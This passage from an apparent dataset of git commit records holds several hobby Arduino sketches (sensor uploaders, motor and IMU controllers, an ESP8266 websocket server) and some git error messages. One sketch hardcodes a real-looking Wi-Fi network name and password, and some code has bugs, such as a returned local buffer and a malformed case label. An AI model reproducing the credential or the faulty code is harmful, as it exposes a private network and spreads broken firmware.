Particle.function(\"new-session\", newSession);\n\n \/\/ Subscribe to new charging session response event\n Particle.subscribe(System.deviceID() + \"\/hook-response\/new_session\/\", newSessionHandler, MY_DEVICES);\n}\n\nint newSession(String data) {\n \/\/ Trigger the new charging session\n Particle.publish(\"new_session\", data, PRIVATE);\n return 1;\n}\n\nvoid newSessionHandler(const char *event, const char *data) {\n \/\/ Handle the response\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'particle\/evcharging.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"2f5127f31e91d3447461ac78d48d9db8ef7d30c7","subject":"Create fft.ino","message":"Create fft.ino","repos":"mozanunal\/SimpleDSP","old_file":"examples\/fft.ino","new_file":"examples\/fft.ino","new_contents":"void setup() {\n \/\/ put your setup code here, to run once:\n\n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/fft.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"2426a22470029219e5bd8e06c43ef711382a462e","subject":"Create ESP_BMP280_upload.ino","message":"Create ESP_BMP280_upload.ino","repos":"KitWallace\/CitizenSense","old_file":"ESP8266-code\/ESP_BMP280_upload.ino","new_file":"ESP8266-code\/ESP_BMP280_upload.ino","new_contents":"\/***************************************************************************\n uses the Adafruit BMP280 library together with my owncode for uploading data to the eXist database.\n \n something odd about the I2C address - here it is set to 0x76 overridding the adafruit default and this is the value echoed on setup but it\n only works if pin 6 is high??\n \n\n ***************************************************************************\/\n#include <ESP8266WiFi.h>\n#include <Wire.h>\n#include <SPI.h>\n#include <Adafruit_Sensor.h>\n#include <Adafruit_BMP280.h>\n#undef BMP280_ADDRESS \/\/ Undef BMP280_ADDRESS from the BMP280 library to easily override I2C address\n#define BMP280_ADDRESS (0x76) \/\/ Low = 0x76 , High = 0x77 (default on adafruit and sparkfun BME280 modules, default for library)\n\nconst char* ssid = \"ssid\";\nconst char* password = \"password\";\n\nconst char* host = \"kitwallace.co.uk\";\nconst char* streamId = \"stream\";\nconst char* privateKey = \"privatekey\";\n\nAdafruit_BMP280 bmp; \/\/ I2C\n\nWiFiClient client;\nint delayMinutes = 1;\nint elevation = 60; \/\/ height of station in m\n\nvoid setup() {\n Serial.begin(9600);\n Serial.println(F(\"BMP280 test\"));\n Serial.println(BMP280_ADDRESS);\n if (!bmp.begin()) { \n Serial.println(F(\"Could not find a valid BMP280 sensor, check wiring!\"));\n while (1);\n }\n connect_wifi();\n\n}\n\nvoid loop() {\n Serial.print(F(\"Temperature = \"));\n float temp = bmp.readTemperature();\n Serial.print(temp);\n Serial.println(\" *C\");\n \n Serial.print(F(\"Raw Pressure = \"));\n float pressure= bmp.readPressure()\/ 100.0F; \n Serial.print(pressure);\n Serial.println(\" HPa\");\n \n float slpressure = pressure + elevation\/9.2F;\n Serial.print(F(\"Sea Level Pressure = \"));\n Serial.print(slpressure); \n Serial.println(\" m\");\n \n Serial.println();\n String report = String(\"pressure=\") + slpressure + \"&temp=\"+ temp ;\n Serial.println(report);\n\n log_data(report);\n delay(delayMinutes * 60 * 1000);\n}\n\n\nvoid connect_wifi() {\n\/\/ Connect to WiFi network\n Serial.println();\n Serial.println();\n Serial.print(\"Connecting to \");\n Serial.println(ssid);\n \n WiFi.begin(ssid, password);\n \n while (WiFi.status() != WL_CONNECTED) {\n delay(500);\n Serial.print(\".\");\n }\n Serial.println(\"\");\n Serial.println(\"WiFi connected\");\n \n}\n\nvoid httpget(String url) {\n WiFiClient client;\n url.replace(\" \", \"+\");\n int httpPort = 80;\n while (true) {\n if (client.connect(host, httpPort)) break;\n Serial.println(\"connection failed\");\n delay(100);\n }\n \n Serial.println(\"connected \");\n Serial.print(\"requesting URL: \");\n Serial.println(url);\n\/\/ This will send the request to the server\n String httprequest = String(\"GET \") + url + \" HTTP\/1.1\\r\\n\" +\n \"Host: \" + host + \"\\r\\n\" + \n \"Connection: close\\r\\n\\r\\n\";\n\/\/ Serial.println(httprequest);\n client.print(httprequest);\n delay(100);\n \n \/\/ Read all the lines of the reply from server and print them to Serial\n while(client.available()){\n String line = client.readStringUntil('\\r');\n Serial.print(line);\n }\n \n Serial.println();\n Serial.println(\"closing connection\");\n}\n\nvoid log_data(String params) {\n String url = \"\/rt\/home.xq?_action=store&_id=\";\n url += streamId;\n url += String(\"&_pk=\")+ privateKey + \"&\";\n url += params;\n httpget(url); \n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ESP8266-code\/ESP_BMP280_upload.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"a20b9b7c31c0fba9876aff4e3716df34d7b42591","subject":"clean up thermino.ino","message":"clean up thermino.ino\n","repos":"tconstans\/Thermino,tconstans\/Thermino,tconstans\/Thermino,tconstans\/Thermino","old_file":"src\/Thermino.ino","new_file":"src\/Thermino.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/tconstans\/Thermino.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"7975f533998df5a7a9dae6d5c997ac2c61642308","subject":"1st commit","message":"1st commit\n","repos":"yasokada\/esp8266_160220_BYOP","old_file":"esp8266_160220_BYOP.ino","new_file":"esp8266_160220_BYOP.ino","new_contents":"void setup() {\n \/\/ put your setup code here, to run once:\n\n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n\n}\n","old_contents":"","returncode":128,"stderr":"fatal: invalid reference: FETCH_HEAD^\n","license":"mit","lang":"Arduino"} {"commit":"32f87ecbef8098b0a846ab482bb46f0ce16e1828","subject":"initial commit","message":"initial commit\n","repos":"jacrabb\/IMUTurnSignal","old_file":"Filterd_Turn_Signal_v0.3.ino","new_file":"Filterd_Turn_Signal_v0.3.ino","new_contents":"\/\/ Filtered_Turn_Signal_v0.2.ino\n\/*\nEssentially original version:\nBinary sketch size: 13520 bytes (of a 32256 byte maximum, 41.91 percent).\nEstimated memory use: 752 bytes (of a 2048 byte maximum, 36.72 percent).\n\nAfter moving ahrs fusionGetOrientation() function and eliminating 9DOF.h:\nBinary sketch size: 13434 bytes (of a 32256 byte maximum, 41.65 percent).\nEstimated memory use: 751 bytes (of a 2048 byte maximum, 36.67 percent).\n\nAfter removing Sensor.h\nBinary sketch size: 11946 bytes (of a 32256 byte maximum, 37.03 percent).\t4.88%\nEstimated memory use: 551 bytes (of a 2048 byte maximum, 26.90 percent).\t9.82%\n\nAfter adding autoranging back into Mag\nBinary sketch size: 12258 bytes (of a 32256 byte maximum, 38.00 percent).\nEstimated memory use: 551 bytes (of a 2048 byte maximum, 26.90 percent).\n\nAfter F()ing a string and removing redundant gyro variables \n(also removed autoranging)\nBinary sketch size: 11750 bytes (of a 32256 byte maximum, 36.43 percent).\nEstimated memory use: 497 bytes (of a 2048 byte maximum, 24.27 percent).\n\nWith serial disabled\nBinary sketch size: 7654 bytes (of a 32256 byte maximum, 23.73 percent).\nEstimated memory use: 297 bytes (of a 2048 byte maximum, 14.50 percent).\n*\/\n#include <Wire.h>\n\/\/#include <Adafruit_Sensor.h>\n#include <aac_LSM303_U.h>\n#include <aac_L3GD20.h>\n\/\/#include <Adafruit_9DOF.h>\n\/** struct sensors_vec_s is used to return a vector in a common format. *\/\ntypedef struct {\n union {\n \/\/float v[3];\n \/\/struct {\n \/\/ float x;\n \/\/ float y;\n \/\/ float z;\n \/\/};\n \/* Orientation sensors *\/\n struct {\n float roll; \/**< Rotation around the longitudinal axis (the plane body, 'X axis'). Roll is positive and increasing when moving downward. -90\u00b0<=roll<=90\u00b0 *\/\n float pitch; \/**< Rotation around the lateral axis (the wing span, 'Y axis'). Pitch is positive and increasing when moving upwards. -180\u00b0<=pitch<=180\u00b0) *\/\n float heading; \/**< Angle between the longitudinal axis (the plane body) and magnetic north, measured clockwise when viewing from the top of the device. 0-359\u00b0 *\/\n };\n };\n int8_t status;\n uint8_t reserved[3];\n} sensors_vec_t;\n\n\n\/* Assign a unique ID to the sensors *\/\n\/\/Adafruit_9DOF\t\t\t\t\tdof = Adafruit_9DOF();\naac_LSM303_Accel\taccel;\/\/ = aac_LSM303_Accel_Unified(30301);\naac_LSM303_Mag\t\tmag;\/\/ = aac_LSM303_Mag_Unified(30302);\n\/\/Adafruit_L3GD20_Unified\t\tgyro = Adafruit_L3GD20_Unified(30303);\naac_L3GD20\t\t\tgyro;\n\n\/\/double gyroX, gyroY, gyroZ;\n\nsensors_vec_t comp_orientation;\nsensors_vec_t gyro_orientation;\n \nuint32_t timer;\n\n#define serialdebug\nvoid setup() {\n\tanalogReference(INTERNAL);\n\n\n pinMode(3,OUTPUT);\n pinMode(9,OUTPUT);\n pinMode(13,OUTPUT);\n\n #ifdef serialdebug\n Serial.begin(115200);\n #endif\n \/* Initialise the sensors *\/\n if(!accel.begin() || !mag.begin() || !gyro.begin(gyro.L3DS20_RANGE_250DPS))\n {\n \t#ifdef serialdebug\n\t Serial.println(F(\"IMU Error\"));\n\t#endif\n while(1){\t digitalWrite(3,!digitalRead(3)); \n\t digitalWrite(9,!digitalRead(9));\n\t delay(100); \n\t}\n }\n\n \n timer = micros();\n\n}\n\nvoid loop() {\n\tdouble dt = (double)(micros() - timer) \/ 1000000;\/\/1000.0; \/\/ Calculate delta time\n \ttimer = micros();\n gyro.read();\n\n \/\/sensors_event_t accel_event;\n \/\/sensors_event_t mag_event;\n \/\/sensors_event_t gyro_event;\n sensors_vec_t orientation;\n\/\/ sensors_vec_t gyro_orientation;\n\n \/* Read the accelerometer and magnetometer *\/\n \/\/accel.getEvent(&accel_event);\n \/\/mag.getEvent(&mag_event);\n accel.read();\n mag.read();\n \/\/gyro.getEvent(&gyro_event);\n \/\/gyroX = gyro.data.x;\n \/\/gyroY = gyro.data.y;\n \/\/gyroZ = gyro.data.z;\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ \n\/\/ what if we 'normalize' the accel data to 1g before we\n\/\/ enter the rotational matrix?\n\/\/ Whats the best way to filter out linear acceleration?\n\/\/ How much does this matter for this fusion method?\n\/\/\n\/\/ Just reject pases when accel magnitude is > 2\n\/\/ \n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\n\/* Make sure the input is valid, not null, etc. *\/\n float const PI_F = 3.14159265F;\n\n \/* roll: Rotation around the X-axis. -180 <= roll <= 180 *\/\n \/* a positive roll angle is defined to be a clockwise rotation about the positive X-axis *\/\n \/* *\/\n \/* y *\/\n \/* roll = atan2(---) *\/\n \/* z *\/\n \/* *\/\n \/* where: y, z are returned value from accelerometer sensor *\/\n orientation.roll = (float)atan2(accel._accelData.y, accel._accelData.z);\n\n \/* pitch: Rotation around the Y-axis. -180 <= roll <= 180 *\/\n \/* a positive pitch angle is defined to be a clockwise rotation about the positive Y-axis *\/\n \/* *\/\n \/* -x *\/\n \/* pitch = atan(-------------------------------) *\/\n \/* y * sin(roll) + z * cos(roll) *\/\n \/* *\/\n \/* where: x, y, z are returned value from accelerometer sensor *\/\n if (accel._accelData.y * sin(orientation.roll) + accel._accelData.z * cos(orientation.roll) == 0)\n orientation.pitch = accel._accelData.x > 0 ? (PI_F \/ 2) : (-PI_F \/ 2);\n else\n orientation.pitch = (float)atan(-accel._accelData.x \/ (accel._accelData.y * sin(orientation.roll) + \\\n accel._accelData.z * cos(orientation.roll)));\n\n \/* heading: Rotation around the Z-axis. -180 <= roll <= 180 *\/\n \/* a positive heading angle is defined to be a clockwise rotation about the positive Z-axis *\/\n \/* *\/\n \/* z * sin(roll) - y * cos(roll) *\/\n \/* heading = atan2(--------------------------------------------------------------------------) *\/\n \/* x * cos(pitch) + y * sin(pitch) * sin(roll) + z * sin(pitch) * cos(roll)) *\/\n \/* *\/\n \/* where: x, y, z are returned value from magnetometer sensor *\/\n orientation.heading = (float)atan2(mag._magData.z * sin(orientation.roll) - mag._magData.y * cos(orientation.roll), \\\n mag._magData.x * cos(orientation.pitch) + \\\n mag._magData.y * sin(orientation.pitch) * sin(orientation.roll) + \\\n mag._magData.z * sin(orientation.pitch) * cos(orientation.roll));\n\n\n \/* Convert angular data to degree *\/\n orientation.roll = orientation.roll * 180 \/ PI_F;\n orientation.pitch = orientation.pitch * 180 \/ PI_F;\n orientation.heading = orientation.heading * 180 \/ PI_F;\n\n \/* Use the new fusionGetOrientation function to merge accel\/mag._magData *\/ \n \/\/if (dof.magGetOrientation(SENSOR_AXIS_Z, &mag_event, &orientation))\n \/\/if (dof.accelGetOrientation(&accel_event, &orientation))\n \/\/if(true)\/\/ (dof.fusionGetOrientation(&accel_event, &mag_event, &orientation))\n\t\/\/comp_orientation.pitch = 0.93 * (comp_orientation.pitch + gyro_even * dt) + 0.07 * orientation.pitch;\n \/\/ -- what if we scale (sliding averages?) the offset percentage based on how close normalized accel is to 1G\n \/\/ -- also, we may trust Z less than X & Y because of the physics of our system (road noise is primarily on Z)\n #define compA 0.99\n #define compB 0.01\n comp_orientation.roll = compA * (comp_orientation.roll + (gyro.data.x * dt)-0.006) + compB * orientation.roll;\n comp_orientation.pitch = compA * (comp_orientation.pitch + (gyro.data.y * dt)-0.006) + compB * orientation.pitch;\n comp_orientation.heading = compA * (comp_orientation.heading + (gyro.data.z * dt)+0.0428) + compB * orientation.heading;\n\n\n gyro_orientation.roll += (gyro.data.x * dt)-0.006;\n gyro_orientation.pitch += (gyro.data.y * dt)-0.006;\n gyro_orientation.heading += (gyro.data.z * dt)+0.0428;\n\n \/\/ -- it would be interesting to get deceleration force.\n \/\/ -- some of that vector will be gravity\n \/\/ -- we 'know' that we'll never have more than a 30% grade \n \/\/ -- (certin lean angle which translates into a certain accel reading)\n \/\/ -- we also are interested in deceleration truely along that board axis\n \/\/ -- this is to say we don't need deceleration along a mixed orientation\n \/\/ -- this should mean we only need to offset this accel reading by the \n \/\/ -- gravitational component.\n \/\/ -- \n\n#ifdef serialdebug\n\t\/* 'orientation' should have valid .roll and .pitch fields *\/\n\tif(timer % 2 == 0)\n\t{\n\t Serial.print(F(\"|| \"));\n\n\t Serial.print(orientation.roll);\t Serial.print(F(\" \"));\n\t Serial.print(orientation.pitch);\t Serial.print(F(\" \"));\n\t Serial.print(orientation.heading);\t Serial.print(F(\" \"));\n\n\t Serial.print(comp_orientation.roll);\t Serial.print(F(\" \"));\n\t Serial.print(comp_orientation.pitch);\t Serial.print(F(\" \"));\n\t Serial.print(comp_orientation.heading);\t Serial.print(F(\" \"));\n\n\t Serial.print(gyro_orientation.roll);\t Serial.print(F(\" \"));\n\t Serial.print(gyro_orientation.pitch);\t Serial.print(F(\" \"));\n\t Serial.print(gyro_orientation.heading);\t Serial.print(F(\" \"));\n\n\t Serial.print((gyro.data.x * dt)-0.006);\t Serial.print(F(\" \"));\n\t Serial.print((gyro.data.y * dt)-0.006);\t Serial.print(F(\" \"));\n\t Serial.print((gyro.data.z * dt)+0.0428);\t Serial.print(F(\" \"));\n\n\t Serial.print(accel._accelData.x);\t Serial.print(F(\" \"));\n\t Serial.print(accel._accelData.y);\t Serial.print(F(\" \"));\n\t Serial.print(accel._accelData.z);\t Serial.print(F(\" \"));\n\n\t Serial.print(dt, DEC);\n\n\t Serial.println(F(\"\"));\n\t}\n #endif\n\n\tif(comp_orientation.roll < -10){\n\t analogWrite(9,HIGH); \n\t}\n\telse if (comp_orientation.roll > 10){\n\t analogWrite(3,HIGH); \n\t}else{\n\t analogWrite(3,LOW); \n\t analogWrite(9,LOW); \n\t} \n \/\/delay(100);\n}\n\n\n\n\n","old_contents":"","returncode":128,"stderr":"fatal: invalid reference: FETCH_HEAD^\n","license":"mit","lang":"Arduino"} {"commit":"17e2a4f9ef1027f05db61c88af62932508527a09","subject":"Eclipse project added: MW_Test_RouteCache","message":"Eclipse project added: MW_Test_RouteCache\n","repos":"SinishaDjukic\/Meshwork,SinishaDjukic\/Meshwork,SinishaDjukic\/Meshwork,SinishaDjukic\/Meshwork","old_file":"Code\/Projects\/Eclipse\/Tests\/MW_Test_RouteCache\/MW_Test_RouteCache.ino","new_file":"Code\/Projects\/Eclipse\/Tests\/MW_Test_RouteCache\/MW_Test_RouteCache.ino","new_contents":"#include \"Test_RouteCache.ino\"\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Code\/Projects\/Eclipse\/Tests\/MW_Test_RouteCache\/MW_Test_RouteCache.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"d32e835867dd5ba6028ee98122d34c1944e3817f","subject":"Initial arduino sketch, makes bot turn in circles forever","message":"Initial arduino sketch, makes bot turn in circles forever\n","repos":"daubers\/Robot","old_file":"Arduino\/MotorTest\/MotorTest.ino","new_file":"Arduino\/MotorTest\/MotorTest.ino","new_contents":"\/*\n * Simple Motor Test sketch\n * Author: Matt Daubney\n * 01\/01\/2015\n *\/\n \n\/\/Pin definitions\nint MTR_STDBY=6;\nint MTR_A1=4;\nint MTR_A2=5;\nint MTR_B2=3;\nint MTR_B1=2;\nint MTR_A_PWM=8;\nint MTR_B_PWM=7;\n \nvoid setup(){\n pinMode(MTR_STDBY, OUTPUT);\n pinMode(MTR_A1, OUTPUT);\n pinMode(MTR_A2, OUTPUT);\n pinMode(MTR_B1, OUTPUT);\n pinMode(MTR_B2, OUTPUT);\n pinMode(MTR_A_PWM, OUTPUT);\n pinMode(MTR_B_PWM, OUTPUT);\n Serial.begin(9600);\n digitalWrite(MTR_STDBY, true);\n digitalWrite(MTR_A1,false);\n digitalWrite(MTR_A2,true);\n digitalWrite(MTR_B1,true);\n digitalWrite(MTR_B2,false);\n Serial.write(\"Setting A and B PWM to 50%\");\n analogWrite(MTR_A_PWM, 128);\n analogWrite(MTR_B_PWM, 128);\n}\n\nvoid loop(){\n \n }\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/MotorTest\/MotorTest.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"38ffb05a64501d060543e2c8492f5aec6cb89ac7","subject":"Added arduino code.","message":"Added arduino code.\n","repos":"birkof\/madac,birkof\/madac,birkof\/madac","old_file":"arduino\/eva.ino","new_file":"arduino\/eva.ino","new_contents":"#include <Arduino.h>\n#include <ArduinoJson.h>\n#include <ESP8266WiFi.h>\n#include <WebSocketsServer.h>\n#include <Hash.h>\n\nWebSocketsServer webSocket = WebSocketsServer(81);\n\n#define USE_SERIAL Serial1\n\n#define ECHO_PIN1 5\/\/D1\n#define TRIGGER_PIN1 4\/\/D2\n\n#define ECHO_PIN2 0\/\/D3\n#define TRIGGER_PIN2 2\/\/D4\n\n#define ECHO_PIN3 14\/\/D5\n#define TRIGGER_PIN3 12\/\/D6\n\n#define ECHO_PIN4 13\/\/D7\n#define TRIGGER_PIN4 15\/\/D8\n\n#define ECHO_PIN5 16\/\/D0\n#define TRIGGER_PIN5 15\/\/D8\n\nconst char* ssid = \"emag.net\";\nconst char* password = \"parolapentrureteauawirelessemag\";\n\nlong Distance(long time)\n{\n \/\/ speed of sound at sea level = 340.29 m \/ s\n \/\/ ((time)*(Speed of sound))\/ toward and backward of object) * 10\n \n long DistanceCalc; \/\/ Calculation variable\n DistanceCalc = time * 0.034 \/ 2; \/\/ Actual calculation in cm\n \/\/DistanceCalc = (time \/ 2.9) \/ 2; \/\/ Actual calculation in mm\n \/\/DistanceCalc = time \/ 74 \/ 2; \/\/ Actual calculation in inches\n \n return DistanceCalc; \/\/ return calculated value\n}\n\nlong getSonicSensorData(uint8_t trigger, uint8_t echo) {\n long duration, distance;\n\n digitalWrite(trigger, LOW);\n delayMicroseconds(2);\n\n digitalWrite(trigger, HIGH);\n delayMicroseconds(10);\n\n digitalWrite(trigger, LOW);\n\n duration = pulseIn(echo, HIGH);\n distance = Distance(duration);\n\n Serial.print(\"Sensor \");\n Serial.print(trigger);\n Serial.print(\" -> \");\n Serial.println(distance);\n\n return distance;\n}\n\nchar* getJsonDataFromSensors() {\n StaticJsonBuffer<200> jsonBuffer;\n\n JsonObject& object = jsonBuffer.createObject();\n\n object.set(\"sens_length_init\", 148);\n object.set(\"sens_length_1\", getSonicSensorData(TRIGGER_PIN1, ECHO_PIN1));\n delay(100);\n object.set(\"sens_length_2\", getSonicSensorData(TRIGGER_PIN2, ECHO_PIN2));\n delay(100);\n\n object.set(\"sens_width_init\", 98);\n object.set(\"sens_width_1\", getSonicSensorData(TRIGGER_PIN3, ECHO_PIN3));\n delay(100);\n object.set(\"sens_width_2\", getSonicSensorData(TRIGGER_PIN4, ECHO_PIN4));\n delay(100);\n\n object.set(\"sens_height_init\", 100);\n object.set(\"sens_height_1\", getSonicSensorData(TRIGGER_PIN5, ECHO_PIN5));\n \n char json[256];\n object.printTo(json, sizeof(json));\n\n return json;\n}\n\nvoid webSocketEvent(uint8_t num, WStype_t type, uint8_t * payload, size_t lenght) {\n String pld = (char*)payload;\n\n switch(type) {\n case WStype_DISCONNECTED:\n USE_SERIAL.printf(\"[%u] Disconnected!\\n\", num);\n Serial.println(\"User disconnected from websocket.\");\n \n break;\n case WStype_CONNECTED:\n {\n IPAddress ip = webSocket.remoteIP(num);\n USE_SERIAL.printf(\"[%u] Connected from %d.%d.%d.%d url: %s\\n\", num, ip[0], ip[1], ip[2], ip[3], payload);\n Serial.println(\"User connected to websocket.\");\n \n \/\/ send message to client\n \/\/webSocket.sendTXT(num, \"Connected\");\n }\n break;\n case WStype_TEXT:\n USE_SERIAL.printf(\"[%u] get Text: %s\\n\", num, payload);\n Serial.println(pld);\n \n if (pld == \"GET_MEASUREMENTS\") {\n \/\/ send message to client\n webSocket.sendTXT(num, getJsonDataFromSensors());\n }\n\n \/\/ send data to all connected clients\n \/\/ webSocket.broadcastTXT(\"message here\");\n break;\n case WStype_BIN:\n USE_SERIAL.printf(\"[%u] get binary lenght: %u\\n\", num, lenght);\n hexdump(payload, lenght);\n\n \/\/ send message to client\n \/\/ webSocket.sendBIN(num, payload, lenght);\n break;\n }\n\n}\n\nvoid WiFiEvent(WiFiEvent_t event) {\n Serial.printf(\"[WiFi-event] event: %d\\n\", event);\n\n switch(event) {\n case WIFI_EVENT_STAMODE_GOT_IP:\n Serial.println(\"WiFi connected\");\n Serial.println(\"IP address: \");\n Serial.println(WiFi.localIP());\n break;\n case WIFI_EVENT_STAMODE_DISCONNECTED:\n Serial.println(\"WiFi lost connection\");\n break;\n }\n}\n\nvoid setup() {\n Serial.begin(115200);\n\n \/\/ delete old config\n WiFi.disconnect(true);\n\n delay(1000);\n\n WiFi.onEvent(WiFiEvent);\n\n WiFi.begin(ssid, password);\n\n Serial.println();\n Serial.println();\n Serial.println(\"Wait for WiFi... \");\n\n webSocket.begin();\n webSocket.onEvent(webSocketEvent);\n\n pinMode(TRIGGER_PIN1, OUTPUT);\n pinMode(ECHO_PIN1, INPUT);\n \n pinMode(TRIGGER_PIN2, OUTPUT);\n pinMode(ECHO_PIN2, INPUT);\n \n pinMode(TRIGGER_PIN3, OUTPUT);\n pinMode(ECHO_PIN3, INPUT);\n \n pinMode(TRIGGER_PIN4, OUTPUT);\n pinMode(ECHO_PIN4, INPUT);\n \n pinMode(TRIGGER_PIN5, OUTPUT);\n pinMode(ECHO_PIN5, INPUT);\n}\n\n\nvoid loop() {\n delay(1000);\n webSocket.loop();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/eva.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"f6a37db8bd9537dfedf55ea8ff412bda6d71acef","subject":"new version with cap pousse control","message":"new version with cap pousse control\n","repos":"fbentz\/Porcoduino,fbentz\/Porcoduino","old_file":"src\/firmware\/Zeppelin\/Zeppelin_alpha_teleop\/Zeppelin_alpha_teleop.ino","new_file":"src\/firmware\/Zeppelin\/Zeppelin_alpha_teleop\/Zeppelin_alpha_teleop.ino","new_contents":"#define MODE_XYZ_CONTROL 0\n#define MODE_CAP_POUSSEE_Z_CONTROL 1\n\n#define TEST_WITHOUT_Z\n\n\/\/general definitions to interface with the hardware \n#ifndef TEST_WITHOUT_Z\n#define UP_MOTOR_FORWARD 5\n#define UP_MOTOR_BACKWARD 6\n#define UP_MOTOR_ENABLE 10\n#endif\n\n#define RIGHT_MOTOR_FORWARD 7\n#define RIGHT_MOTOR_BACKWARD 8\n#define RIGHT_MOTOR_ENABLE 3\n\n#define LEFT_MOTOR_FORWARD 13\n#define LEFT_MOTOR_BACKWARD 12\n#define LEFT_MOTOR_ENABLE 11\n\n\/\/general definitions as parameters of the \n#define MOTOR_MAX_PWM 255.0\n\nbyte mode = 0;\nchar incomingByte_Mode = 0;\n\nbyte right_motor_pwm = 0;\nbyte left_motor_pwm = 0;\n\nfloat right_motor_velocity = 0;\nfloat left_motor_velocity = 0;\n\n\/\/Cap poussee control\nfloat incomingFloat_Alpha_rad=0;\nchar incomingByte_Power = 0;\n\n\/\/X, Y control\nchar incomingByte_X = 0;\nchar incomingByte_Y = 0;\n\nconst float X_factor = 1.0;\nconst float Y_factor = 1.0;\n\nfloat min_right;\nfloat max_right;\nfloat min_left;\nfloat max_left;\n\n\n#ifndef TEST_WITHOUT_Z\nbyte up_motor_pwm = 0;\nfloat up_motor_velocity = 0;\nchar incomingByte_Z = 0;\nconst float Z_factor = 1.0;\nfloat min_up;\nfloat max_up;\n#endif\n\n\nconst long interval = 200; \nlong previousMillis = 0;\n\nfloat sign(char number){\n if(number >= 0) return 1.0;\n else return -1.0;\n}\n\n\n\/\/computing Motor velocity VS an X,Y control vector\nfloat compute_Right_Motor_Raw_Velocity(float value_x, float value_y){\n return (X_factor*value_x - Y_factor*value_y*sign(value_x));\n}\n\nfloat compute_Left_Motor_Raw_Velocity(float value_x, float value_y){\n return (X_factor*value_x + Y_factor*value_y*sign(value_x));\n}\n\n#ifndef TEST_WITHOUT_Z\nfloat compute_Up_Motor_Raw_Velocity(float value_z){\n return (Z_factor*value_z);\n}\n#endif\n\n\/\/computing Motor velocity VS an X,Y control vector\nfloat compute_Right_Motor_Velocity(float value_x, float value_y){\n return map(compute_Right_Motor_Raw_Velocity(value_x, value_y), min_right, max_right,-MOTOR_MAX_PWM,MOTOR_MAX_PWM);\n}\n\nfloat compute_Left_Motor_Velocity(float value_x, float value_y){\n return map(compute_Left_Motor_Raw_Velocity(value_x, value_y), min_left, max_left,-MOTOR_MAX_PWM,MOTOR_MAX_PWM);\n}\n\n#ifndef TEST_WITHOUT_Z\nfloat compute_Up_Motor_Velocity(float value_z){\n return map(compute_Up_Motor_Raw_Velocity(value_z), min_up, max_up,-MOTOR_MAX_PWM,MOTOR_MAX_PWM);\n}\n#endif\n\n\/\/this function is used to enable the use of compute_XXX_Motor_Velocity \nvoid compute_Resize_Parameters(){\n min_right = compute_Right_Motor_Raw_Velocity(-100.0, -100.0);\n max_right = compute_Right_Motor_Raw_Velocity(100.0, -100.0);\n min_left = compute_Left_Motor_Raw_Velocity(-100.0, 100.0);\n max_left = compute_Left_Motor_Raw_Velocity(100.0, 100.0); \n#ifndef TEST_WITHOUT_Z\n min_up = compute_Up_Motor_Raw_Velocity(-100.0);\n max_up = compute_Up_Motor_Raw_Velocity(100.0); \n#endif\n}\n\n\nvoid setup() {\n \/\/initialize Serial communication\n Serial.begin(9600);\n Serial.flush();\n \/\/initializing pins used to control motors power\n pinMode(RIGHT_MOTOR_FORWARD, OUTPUT);\n pinMode(RIGHT_MOTOR_BACKWARD, OUTPUT);\n pinMode(LEFT_MOTOR_FORWARD, OUTPUT);\n pinMode(LEFT_MOTOR_BACKWARD, OUTPUT);\n\/\/initializing pins used to control motors rotation clockwise or trigonometricwise\n digitalWrite(RIGHT_MOTOR_ENABLE, LOW);\n digitalWrite(LEFT_MOTOR_ENABLE, LOW);\n\n#ifndef TEST_WITHOUT_Z \n pinMode(UP_MOTOR_FORWARD, OUTPUT);\n pinMode(UP_MOTOR_BACKWARD, OUTPUT);\n digitalWrite(UP_MOTOR_ENABLE, LOW);\n#endif\n \n compute_Resize_Parameters();\n mode = 0;\/\/initial mode is XYZ control\n}\n\nvoid loop() {\n \/\/continuously controlling motors by applying the computed pwm\n analogWrite(RIGHT_MOTOR_ENABLE, right_motor_pwm);\n analogWrite(LEFT_MOTOR_ENABLE, left_motor_pwm);\n#ifndef TEST_WITHOUT_Z\n analogWrite(UP_MOTOR_ENABLE, up_motor_pwm);\n#endif\n delay(100);\/\/control loop = 10Hz\n}\n\nvoid serialEvent(){\n \/\/function used to change the pwm motors command when receiving events from serial\n if (Serial.available() > 0) {\n incomingByte_Mode = Serial.read();\n mode = constrain(incomingByte_Mode, 0,1);\n switch(mode){\n case: MODE_XYZ_CONTROL:\n \/\/ read the velocity commands for each wheel\n incomingByte_X = Serial.read();\n incomingByte_X= constrain(incomingByte_X, -100,100);\n incomingByte_Y = Serial.read();\n incomingByte_Y= constrain(incomingByte_Y, -100,100);\n#ifndef TEST_WITHOUT_Z \n incomingByte_Z = Serial.read();\n incomingByte_Z= constrain(incomingByte_Z, -100,100);\n#endif \n \/\/computing new desired velocity for each motor\n right_motor_velocity = compute_Right_Motor_Velocity(float(incomingByte_X), float(incomingByte_Y));\n left_motor_velocity = compute_Left_Motor_Velocity(float(incomingByte_X), float(incomingByte_Y));\n#ifndef 